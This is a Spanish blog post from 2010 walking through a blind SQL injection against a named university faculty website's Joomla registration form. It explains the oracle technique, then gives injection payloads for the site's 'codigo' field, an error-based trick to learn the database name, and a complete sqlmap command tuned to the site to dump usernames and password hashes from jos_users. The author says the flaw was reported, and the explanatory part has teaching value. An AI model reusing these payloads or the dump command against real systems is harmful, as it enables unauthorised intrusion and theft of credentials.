lunes, 6 de diciembre de 2010

Hacking the FISI Again

Hola a todos y todas ;) Aunque no se si alguna chica lea este blog :S Lo dudo mucho la verdad ¿Chicas están ahí?

El mes pasado publicamos una vulnerabilidad 0day en la web de la facultad y con vídeo demostrativo incluido xD Ver:

http://alguienenlafisi.blogspot.com/2010/11/hackeando-la-web-de-la-fisi.html
http://alguienenlafisi.blogspot.com/2010/11/hackeando-la-web-de-la-fisi-video.html

Entonces también habíamos descubierto y reportado una segunda vulnerabilidad igual de grave pero un tanto más difícil de explotar. Se trataba de un Blind SQL Injection.

La diferencia entre un SQLi normal y un Blind SQLi (inyección SQL a ciegas) es que este último no muestra el resultado de la consulta en la pagina web. Sin embargo podemos intuir que las ordenes SQL se están ejecutando debido al comportamiento de la web ¿Como es ese comportamiento? Pues imagina que una pagina web antes de mostrarse hace una verificación de algo consultando su base de datos. Si la respuesta que obtiene no es nula entonces se muestra pero si sucede lo contrario mostrará una pagina de error. Si nosotros pudiéramos manipular la consulta que hace la aplicacion web, podríamos cambiar la condicional que hace que la respuesta sea nula o no. De esa manera si hacemos que la condicional bote verdadero, la respuesta no sera nula y se mostrará la pagina normal pero si hacemos que bote falso, la respuesta sera nula y se mostrará la pagina de error.

De esta forma la pagina web se comporta como un oráculo que responderá sí (pagina normal) o no (pagina de error) a lo que preguntemos manipulando la condicional. Así por ejemplo podemos preguntar si una tabla tiene más de 10 registros, suponiendo que dijera que sí preguntamos si tiene más de 20, si ahora dice que no preguntamos si tiene más de 15 y así sucesivamente aplicamos la estrategia divide y vencerás hasta deducir el numero de registros de la tabla. También podemos preguntar otras cosas como cuantos caracteres tiene el valor de un campo o si ese valor empieza con 'a' o con 'b' hasta obtener el valor de ese campo.

El numero de consultas que hacemos para explotar un Blind SQLi es elevado y el tiempo que nos puede tomar también. Felizmente existen herramientas como sqlmap que automatizan este proceso y hacen las consultas por nosotros permitiéndonos incluso hacer un volcado de toda la base de datos xD Claro que esto también toma algo de tiempo :P

Ahora sí con las ideas un poco más claras pasemos a la acción }xD

Hacking the FISI Again

Nuevamente la vulnerabilidad se debe a un componente Joomla del cual nos enteramos gracias nuestro amigo GoogleBot. Buscamos:

site:sistemas.edu.pe inurl:/component/

Pero van a salir muchos resultados así que para que lo veas mas rápido la búsqueda específica es:

site:sistemas.edu.pe inurl:/component/validar


He resaltado la URL del componente. La URL es:

http://sistemas.edu.pe/component/validar/

Al hacer clic en el resultado veremos este formulario:


Bien, le haremos el test de la comilla. En el campo código (todas la inyecciones las haré usando este campo) escribimos una comilla simple ('), le damos clic al botón siguiente y ¡voilá!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'falso'' at line 1

Error de sintaxis SQL. Esto es vulnerable a SQLi }:] Ahora a jugar un poco. Hacemos el test de la tautología para ver si podemos listar todos los registros de la tabla.

' or 1=1#

Le damos a siguiente y... no, pues no se lista ningún registro :S Por el contrario sale un formulario para que nos registremos. Vamos entendiendo lo que hace este formulario es validar si somos alumnos de la FISI preguntándonos nuestros nombres, apellidos y código. Luego buscará nuestra información en su base de datos de alumnos y si hay coincidencia entonces nos muestra el formulario de registro y si no la hay ¿Que nos mostrará? Averigüemoslo cambiando la condición a falso:

' or 1=0#

Otra vez en siguiente y... pues nada, se queda en la misma pagina :S

¡Ya está, esto es un Blind SQLi! Cuando la condición es verdadera nos muestra la pagina de registro y cuando es falsa se queda en la misma pagina. Como demostración averiguaremos el numero de registros que hay en la tabla jos_users donde se almacenan los usuarios y contraseñas de Joomla.

Haciendo las consultas que pongo a continuación se llega a la conclusión de que hay 2 registros en la tabla jos_users.

' or (select count(*) from jos_users)>10# ---> FALSO, MISMA PAGINA
' or (select count(*) from jos_users)>5# ---> FALSO, MISMA PAGINA
' or (select count(*) from jos_users)>2# ---> FALSO, MISMA PAGINA
' or (select count(*) from jos_users)>1# ---> VERDADERO, PAGINA DE REGISTRO

Ahora que ya quedo demostrado usaremos sqlmap para sacarle provecho a esta vuln y obtener los usuarios y contraseñas de la web. Sqlmap es una herramienta para consola escrita en python por lo que es multiplataforma es decir funciona sobre cualquier sistema operativo que tenga el interprete de python instalado.

Puedes descargar sqlmap de su web oficial:

http://sqlmap.sourceforge.net/

Ahora solo queda llamar a sqlmap pasándole los parámetros adecuados y esperar a que nos tire todos los datos que queremos.

Explicare los parámetros que usaremos:

--url="[URL]" Sirve para indicar la URL del recurso vulnerable.
--method="[GET/POST]" Sirve para indicar el método (GET o POST) con el que se envían los datos.
--data="[DATA]" En caso de usar el método POST este parámetro es obligatorio e indica los datos que se envian por POST.
-p "[VARIABLE]" Sirve para indicar la variable vulnerable con la que se realiza la inyección.
--prefix="[TEXT]" Se usa cuando es necesario añadir algo antes de la inyección usual de sqlmap para que funcione.
--postfix="[TEXT]" Se usa cuando es necesario añadir algo después de la inyección usual de sqlmap para que funcione.
--string="[STRING]" Se usa para especificar una cadena de texto que sqlmap utilizará para distinguir la pagina normal de la pagina de error. Esta cadena debe aparecer en la pagina normal, es decir la que se muestra cuando la condición es verdadera. Y no debe aparecer en la pagina de error, cuando la condición es falsa.
-D "[DATABASE]" Para especificar el nombre de la base de datos.
-T "[TABLE]" Para especificar el nombre de la tabla.
-C "[COLUMNS]" Para especificar el nombre de las columnas. Los nombres van separados por comas.
--dump Su presencia indica que sqlmap debe obtener los registros de la base de datos, tabla y columnas especificadas.

Una ultima aclaración, sqlmap usa AND para formar la condición de las inyecciones. Más o menos de esta manera:

AND 1=1 ---> VERDADERO
AND 1=2 ---> FALSO

Por lo que si queremos que nos funcione para la vuln de la FISI debemos usar los parámetros prefix y postfix para darle el siguiente formato:

' OR (1=1 AND 1=1)# ---> VERDADERO
' OR (1=1 AND 1=2)# ---> FALSO

Además sqlmap espera que cuando la condición bota verdadero se debe quedar en la misma pagina y cuando bota falso se debe mostrar el formulario de registro. Pero en nuestro caso sucede al revés. Para corregir esto añadiremos una negación:

' OR NOT (1=1 AND 1=1)# ---> FALSO
' OR NOT (1=1 AND 1=2)# ---> VERDADERO

La llamada completa a sqlmap para listar los usuarios y contraseñas quedaría así:

$./sqlmap.py --url="http://sistemas.edu.pe/component/validar" --method="POST" --data="nombre=&apellido=&codigo=" -p "codigo" --prefix="' OR NOT (1=1" --postfix=")#" --string="Ingresar sus Nombres y Apellidos completos" -D "webin_sistemas" -T "jos_users" -C "username,password" --dump

Si eres observador habras notado que la base de datos se llama "webin_sistemas" ¿Cómo sé yo que se llama así? Para averiguarlo simplemente generé un error que muestra el nombre de la base de datos ;) así:

' union select 1,2,3 from tbl_inexistente#

Donde "tbl_inexistente" es el nombre de una tabla que no existe. En el error que bota esta consulta se puede ver el nombre de la base de datos:

Table 'webin_sistemas.tbl_inexistente' doesn't exist

Eso es todo, les dejo una imagen del sqlmap trabajando xD


Ya luego subiré un vídeo, cuando lo tenga listo.

Saludos.

Actualización:

Ya pueden ver el vídeo demostrativo en:

http://alguienenlafisi.blogspot.com/2010/12/hacking-fisi-again-video.html

1 comentario:

  1. gracias, no sabia utilizar el prefix y suffix.

    ResponderEliminar